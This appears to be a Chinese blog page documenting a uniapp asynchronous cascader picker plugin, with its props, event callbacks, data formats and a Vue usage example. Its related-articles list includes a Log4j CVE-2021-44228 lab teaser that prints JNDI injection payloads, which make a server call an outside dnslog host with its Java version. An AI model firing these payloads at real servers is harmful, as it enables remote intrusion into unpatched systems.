uniapp 异步加载级联选择器（Cascader，data-picke）

 

目录

Props

事件方法

inputChange事件回调参数说明：

completeChange事件回调参数说明：

temList 属性Object参数说明

defaultItemList 属性Object参数说明

在template中使用

由于uniapp uni-ui的data-picke 不支持异步作者自己写了一个 插件市场下载使用

插件市场地址级联数据选择 data-picker 自定义多级选择 多级联动选择、 - DCloud 插件市场

 

Props

属性名类型说明默认值
readonlyBoolean只读 ｜false
borderBoolean边框 ｜ true
clearIconBoolean清除按钮 ｜ true
placeholderString默认提示 ｜请选择
popupTitleString弹窗标题 ｜请选择
itemListArray级联数据， 如果下一级是请求返回，则为第一级数据，否则为所有数据[ ]
defaultItemListArray初始化默认选中数据，当一次性传入所有数据时，默认值可为字符串数组，如：['安徽省','阜阳市','颍上县'][ ]
defaultKeyV1.7.2+ String默认值字段key，可传值：text，value，仅当一次性传入所有数据时有效text
headerLineBoolean是否显示header底部细线true
headerBgColorStringheader背景颜色#FFFFFF
tabsHeightString顶部标签栏高度88rpx
textString默认显示文字请选择
sizeNumbertabs 文字大小28
colorStringtabs 文字颜色#555
activeColorString选中颜色#5677fc
boldBoolean选中后文字加粗true
showLineBoolean选中后是否显示底部线条true
lineColorString线条颜色#5677fc
checkMarkSizeNumbericon 大小15
checkMarkColorStringicon 颜色#5677fc
imgWidthStringitem 图片宽度40rpx
imgHeightStringitem 图片高度40rpx
radiusString图片圆角50%
textColorStringitem text颜色#333
textActiveColorStringitem text选中后颜色#333
textBoldBoolean选中后字体是否加粗true
textSizeNumberitem text字体大小28
nowrapBooleantext 是否不换行false
subTextColorStringitem subText颜色#999
subTextSizeNumberitem subText字体大小24
paddingStringitem padding20rpx 30rpx
firstItemTopString占位高度，第一条数据距离顶部距离20rpx
heightStringswiper 高度300px
backgroundColorStringitem swiper 内容部分背景颜色#FFFFFF
requestBoolean子级数据是否请求返回（默认false，一次性返回所有数据）false
receiveDataArray子级数据（当有改变时，默认为当前选中项新增子级数据，request为true时生效）[ ]
reset[Number, String]改变reset值则重置所有数据

事件方法

属性类型说明返回值
popupopenedEvents弹框打开时触发
popupclosedEvents弹框关闭时触发
completeChangeEvents选择器中item项点击时触发
inputChangeEvents选择结果数据

inputChange事件回调参数说明：

  • layer 当前所属层级
  • subIndex 当前层级点击项索引值
  • subItem项 当前层级点击项所有数据，由父组件传入的数据

completeChange事件回调参数说明：

  • result 当前选择的结果
  • text 所有层级选择的text值拼接数据，如：安徽省合肥市庐阳区
  • value 最后一级点击项的value值
  • subText 最后一级点击项的text值
  • src 最后一级点击项的src值

temList 属性Object参数说明

属性 receiveData 数据格式与 itemList中子集数据一致，数据为约定格式，尽量保持一致。

[{
    src: "", //图标地址
    text: "",//主文本
    subText: "",//副文本
    value: 0, //value值 
    children:[{
      text: "",//主文本
      subText: "",//副文本
      value: 0,//value值
      children:[] //子级数据 如果数据长度为0则表示没有下一级数据了
     }] //子级数据
}]

defaultItemList 属性Object参数说明

数据为约定格式，尽量保持一致，当一次性传入所有数据时，默认值可为字符串数组。

[{
    text: "", //选中的text
    subText: '', //选中的subText
    value: '', //选中的value
    src: '', //选中的src，没有则传空或不传
    index: 0, //选中数据在当前layer索引
    list: [{
        src: "",//图标地址
        text: "", //主文本
        subText: "",//副文本
        value: 101 //value值 
     }] //当前layer下所有数据集合
}]

在template中使用


<template>
    <view>
        <jia-cascader request :itemList="itemList" :receiveData="receiveData" :defaultItemList="defaultItemList" @completeChange="complete" @inputChange="change"></jia-cascader>
    </view>
</template>

<script>
// data 数据 及 方法
export default {
    data() {
        return {
            itemList: [],
            receiveData: [],
            defaultItemList: [
                {
                    src: '',
                    text: '高一(3)班',
                    subText: '30人',
                    value: 102,
                    index: 1, //选中数据在当前layer索引
                    list: [
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(3)班',
                            subText: '30人',
                            value: 103
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        },
                        {
                            src: '',
                            text: '高一(2)班',
                            subText: '30人',
                            value: 102
                        },
                        {
                            src: '',
                            text: '高一(1)班',
                            subText: '30人',
                            value: 101
                        }
                    ] //当前layer下所有数据集合
                },
                {
                    text: '周小小', //选中的text
                    subText: '女', //选中的subText
                    value: 11103, //选中的value
                    src: '', //选中的src，没有则传空或不传
                    index: 2, //选中数据在当前layer索引
                    list: [
                        {
                            text: '张三',
                            subText: '男',
                            value: 11101
                        },
                        {
                            text: '王五',
                            subText: '男',
                            value: 11102
                        },
                        {
                            text: '周小小',
                            subText: '女',
                            value: 11103
                        },
                        {
                            text: '周小小',
                            subText: '女',
                            value: 11103
                        },
                        {
                            text: '周小小',
                            subText: '女',
                            value: 11103
                        }
                    ] //当前layer下所有数据集合
                }
            ]
        };
    },
    onLoad() {
        this.itemList = [
            {
                src: ' ',
                text: '高一(1)班',
                subText: '30人',
                value: 101
            },
            {
                src: ' ',
                text: '高一(2)班',
                subText: '30人',
                value: 102
            },
            {
                src: ' ',
                text: '高一(3)班',
                subText: '30人',
                value: 103
            },
            {
                src: ' ',
                text: '高一(4)班',
                subText: '28人',
                value: 104
            },
            {
                src: ' ',
                text: '高一(5)班',
                subText: '28人',
                value: 105
            },
            {
                src: ' ',
                text: '高一(6)班',
                subText: '28人',
                value: 106
            },
            {
                src: ' ',
                text: '高一(7)班',
                subText: '28人',
                value: 107
            },
            {
                src: ' ',
                text: '高一(8)班',
                subText: '38人',
                value: 108
            },
            {
                src: ' ',
                text: '高一(9)班',
                subText: '38人',
                value: 109
            },
            {
                src: ' ',
                text: '高一(10)班',
                subText: '38人',
                value: 110
            },
            {
                src: ' ',
                text: '高一(11)班',
                subText: '38人',
                value: 111
            },
            {
                src: ' ',
                text: '高一(12)班',
                subText: '38人',
                value: 112
            }
        ];
    },
    methods: {
        change(e) {
            console.log(e);
            /**
         *   layer: 0  第几级 index
             src: '/static/images/basic/color.png'
             subIndex: 2   //当前层级下选中项index
             subText: '30人'  //选中项数据
             text: '高一(3)班'
             value: 103 //选中项value数据
         * */

            // 模拟请求
            let value = e.value;
            let layer = e.layer;
            if (layer === 7) {
                //实际中以请求数据为准，无下级数据则传空数组
                this.receiveData = [];
            } else {
                uni.showLoading({
                    title: '请稍候...'
                });
                setTimeout(() => {
                    uni.hideLoading();
                    //请求完成后将数据处理成以下格式，传入，最后一级没有则传空数组
                    switch (layer) {
                        case 0:
                            this.receiveData = [
                                {
                                    text: '张三',
                                    subText: '男',
                                    value: 11101
                                },
                                {
                                    text: '王五',
                                    subText: '男',
                                    value: 11102
                                },
                                {
                                    text: '周小小',
                                    subText: '女',
                                    value: 11103
                                },
                                {
                                    text: '周小小',
                                    subText: '女',
                                    value: 11103
                                },
                                {
                                    text: '周小小',
                                    subText: '女',
                                    value: 11103
                                }
                            ];
                            break;
                        case 1:
                            this.receiveData = [
                                {
                                    text: '他(她)说',
                                    value: 11101
                                }
                            ];
                            break;
                        case 2:
                            this.receiveData = [
                                {
                                    text: '这是一个',
                                    value: 11101
                                }
                            ];
                            break;
                        case 3:
                            this.receiveData = [
                                {
                                    text: '级联选择器',
                                    value: 11101
                                }
                            ];
                            break;
                        case 4:
                            this.receiveData = [
                                {
                                    text: '测试例子',
                                    value: 11101
                                }
                            ];
                            break;
                        case 5:
                            this.receiveData = [
                                {
                                    text: '总共',
                                    value: 11101
                                }
                            ];
                            break;
                        case 6:
                            this.receiveData = [
                                {
                                    text: '8级数据',
                                    value: 11101
                                }
                            ];
                            break;
                        default:
                            break;
                    }
                }, 800);
            }
        },
        complete(e) {
            console.log(e);
            console.log('您选择的数据为：' + e.text);
        }
    }
};
</script>

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/589554.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

VBA技术资料MF147：从Excel运行PowerPoint演示文稿

VBA技术资料MF147：从Excel运行PowerPoint演示文稿

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…
阅读更多...
VULHUB复现log4j反序列化漏洞-CVE-2021-44228

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…
阅读更多...
DHCPv4_CLIENT_SUMMARY_03：接收至少包含312个八位字节长度的‘options‘字段的DHCP消息

DHCPv4_CLIENT_SUMMARY_03：接收至少包含312个八位字节长度的‘options‘字段的DHCP消息

测试目的&#xff1a; 验证DHCP客户端是否能够接收至少312个八位字节长度的’options’字段的DHCP消息。 描述&#xff1a; 本测试用例旨在确保DHCP客户端准备接收包含至少312个八位字节&#xff08;即312 octets&#xff09;长度的’options’字段的DHCP消息。这意味着DHCP…
阅读更多...
pthread线程相关

pthread线程相关

LWP :轻量级 进程&#xff0c;本质仍是进程 进程 &#xff1a;独立地址空间&#xff0c;拥有PCB 线程&#xff1a;有独立的TCB&#xff0c;但没有独立的地址空间&#xff08;共享&#xff09; 区别 &#xff1a;在与是否共享地址文件 进程 &#xff08;独居&#xff09;&am…
阅读更多...
excel办公系列-图表元素及其作用

excel办公系列-图表元素及其作用

Excel图表元素及其作用 Excel图表由各种元素组成&#xff0c;每个元素都有其特定的作用&#xff0c;可以帮助我们更清晰地传达数据信息。下面将介绍Excel图表中常见的一些元素及其作用&#xff0c;并附上相关截图。 原始数据 月份 网站访问量 (万次&#xff09; 销售额 (万…
阅读更多...
从一到无穷大 #25 DataFusion：可嵌入，可扩展的模块化工业级计算引擎实现

从一到无穷大 #25 DataFusion：可嵌入，可扩展的模块化工业级计算引擎实现

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 引言架构总览与可扩展性Catalog and Data SourcesFront End逻辑计划与逻辑计划优化器…
阅读更多...
基于java,SpringBoot和VUE的求职招聘简历管理系统设计

基于java,SpringBoot和VUE的求职招聘简历管理系统设计

摘要 基于Java, Spring Boot和Vue的求职招聘管理系统是一个为了简化求职者与雇主间互动流程而设计的现代化在线平台。该系统后端采用Spring Boot框架&#xff0c;以便快速搭建具有自动配置、安全性和事务管理等特性的RESTful API服务&#xff0c;而前端则使用Vue.js框架构建动…
阅读更多...
超越数据的确定性：通过概率主成分分析拥抱不确定性

超越数据的确定性：通过概率主成分分析拥抱不确定性

原文地址&#xff1a;beyond-determinism-in-data-embracing-uncertainty-with-probabilistic-principal-component-analysis 2024 年 4 月 24 日 主成分分析法&#xff08;Principal Component Analysis&#xff0c;PCA&#xff09;是一种统计方法&#xff0c;它可以通过正交…
阅读更多...
笔试狂刷--Day9(模拟 + dp + 规律)

笔试狂刷--Day9(模拟 + dp + 规律)

大家好,我是LvZi,今天带来笔试狂刷--Day9 一.添加逗号 题目链接:添加逗号 分析: 模拟 代码: import java.util.*;// 注意类名必须为 Main, 不要有任何 package xxx 信息 public class Main {public static void main(String[] args) {Scanner in new Scanner(System.in);i…
阅读更多...
Linux工具

Linux工具

本期我们来学习Linux的相关工具&#xff0c;这是我们未来经常使用的一些工具&#xff0c;是必须掌握的技能 目录 Linux 软件包管理器 yum rzsz Linux编辑器-vim使用 三种模式的切换 命令模式命令集 底行模式命令集 vim的配置 解决sudo的白名单问题 Linux编辑器—gcc/…
阅读更多...
MacBook Pro 原生安装 Ubuntu 24.04 ARM 版

MacBook Pro 原生安装 Ubuntu 24.04 ARM 版

趁着休假整理家里闲置的设备&#xff0c;看到了一台许久不用的 M2 芯片的 MacBook Pro&#xff0c;想着或许应该把它改造成 ARMv64 的 CI/CD 构建机&#xff0c;于是就有了这篇文章。 本篇文章适用于 M1、M2 全系列的设备&#xff0c;包括&#xff1a;MacBook Air、MacBook Pr…
阅读更多...
基于Java的智慧社团综合管理系统的设计与实现(论文+源码)_kaic

基于Java的智慧社团综合管理系统的设计与实现(论文+源码)_kaic

摘 要 随着校园文化的不断丰富&#xff0c;大学里各种社团越来越多&#xff0c;社团活动也越来越频繁&#xff0c;社员也越来越多&#xff0c;而且大学生退社、入社比较频繁&#xff0c;社团管理就显得非常繁琐而又复杂,如果采用人工管理,对管理员来说将是一件很头疼的事情。设…
阅读更多...
加州大学欧文分校英语中级语法专项课程02：Adjectives and Adjective Clauses 学习笔记

加州大学欧文分校英语中级语法专项课程02：Adjectives and Adjective Clauses 学习笔记

Adjectives and Adjective Clauses course certificate 本文是 https://www.coursera.org/learn/adjective-clauses 这门课的学习笔记。 文章目录 Adjectives and Adjective ClausesWeek 01: Adjectives and Adjective PhrasesLearning Objectives Adjectives Introduction Le…
阅读更多...
解码Starknet Verifier：深入逆向工程之旅

解码Starknet Verifier：深入逆向工程之旅

1. 引言 Sandstorm为&#xff1a; 能提交独立proof给StarkWare的Ethereum Verifier&#xff0c;的首个开源的STARK prover。 开源代码见&#xff1a; https://github.com/andrewmilson/sandstorm&#xff08;Rust&#xff09; L2Beat 提供了以太坊上Starknet的合约架构图&…
阅读更多...
单链表经典算法

单链表经典算法

一&#xff0c;移除链表元素 思路一 遍历数组&#xff0c;如果遇到链表中的元素等于val的节点就执行删除操作 typedef struct ListNode ListNode;struct ListNode* removeElements(struct ListNode* head, int val) {if(headNULL){return NULL;} ListNode*pnewhead(ListNode*)m…
阅读更多...
14.集合、常见的数据结构

14.集合、常见的数据结构

集合 概念 Java中的集合就是一个容器&#xff0c;用来存放Java对象。 集合在存放对象的时候&#xff0c;不同的容器&#xff0c;存放的方法实现是不一样的&#xff0c; Java中将这些不同实现的容器&#xff0c;往上抽取就形成了Java的集合体系。 Java集合中的根接口&#x…
阅读更多...
MVC和DDD的贫血和充血模型对比

MVC和DDD的贫血和充血模型对比

文章目录 架构区别MVC三层架构DDD四层架构 贫血模型代码示例 充血模型代码示例 架构区别 MVC三层架构 MVC三层架构是软件工程中的一种设计模式&#xff0c;它将软件系统分为 模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和控制器&#xff08;Contro…
阅读更多...
前端工程化03-贝壳找房项目案例JavaScript常用的js库

前端工程化03-贝壳找房项目案例JavaScript常用的js库

4、项目实战&#xff08;贝壳找房&#xff09; 这个项目包含&#xff0c;基本的ajax请求调用,内容的渲染&#xff0c;防抖节流的基本使用&#xff0c;ajax请求工具类的封装 4.1、项目的接口文档 下述接口文档&#xff1a; 简述内容baseURL&#xff1a;http://123.207.32.32…
阅读更多...
SQL——高级教程【菜鸟教程】

SQL——高级教程【菜鸟教程】

SQL连接 左连接&#xff1a;SQL LEFT JOIN 关键字 左表相当于主表&#xff0c;不管与右表匹不匹配都会显示所有数据 右表就只会显示和左表匹配的内容。 //例显示&#xff1a;左表的name&#xff0c;有表的总数&#xff0c;时间 SELECT Websites.name, access_log.count, acc…
阅读更多...
【机器学习-15】决策树（Decision Tree，DT）算法介绍：原理与案例实现

【机器学习-15】决策树（Decision Tree，DT）算法介绍：原理与案例实现

前言 决策树算法是机器学习领域中的一种重要分类方法&#xff0c;它通过树状结构来进行决策分析。决策树凭借其直观易懂、易于解释的特点&#xff0c;在分类问题中得到了广泛的应用。本文将介绍决策树的基本原理&#xff0c;包括熵和信息熵的相关概念&#xff0c;以及几种经典的…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站